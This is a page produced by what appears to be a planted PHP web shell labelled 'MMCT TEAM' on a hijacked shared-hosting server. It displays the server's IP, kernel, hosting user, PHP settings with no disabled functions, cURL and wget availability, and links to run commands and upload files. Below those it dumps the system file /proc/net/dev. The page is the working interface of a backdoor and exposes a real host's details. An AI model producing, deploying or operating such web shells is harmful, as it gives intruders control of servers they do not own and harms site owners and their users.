MMCT TEAM
1Server IP : 217.21.90.164  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u367232671 ( 367232671)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /proc/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 817103858279869 211810239192    0    0    0     0          0         0 817103858279869 211810239192    0    0    0     0       0          0
  eno1:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eno2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
ens3f0: 7889267660431 13882541660    0    0    0     0          0  21705705 34861861052688 27760064247    0    0    0     0       0          0
ens3f1: 7875998461865 13873483501    0    0    0     0          0   1505094 35081009923204 27564824430    0    0    0     0       0          0
eno1.666:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
eno2.666:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
ens3f0.666: 7447606437853 10074480738    0    0    0     0          0   1121059 34074525957066 17209517808    0    0    0     0       0          0
ens3f1.666: 7436114946156 10096667537    0    0    0     0          0   1121057 34283447033153 16815757992    0    0    0     0       0          0

MMCT - 2023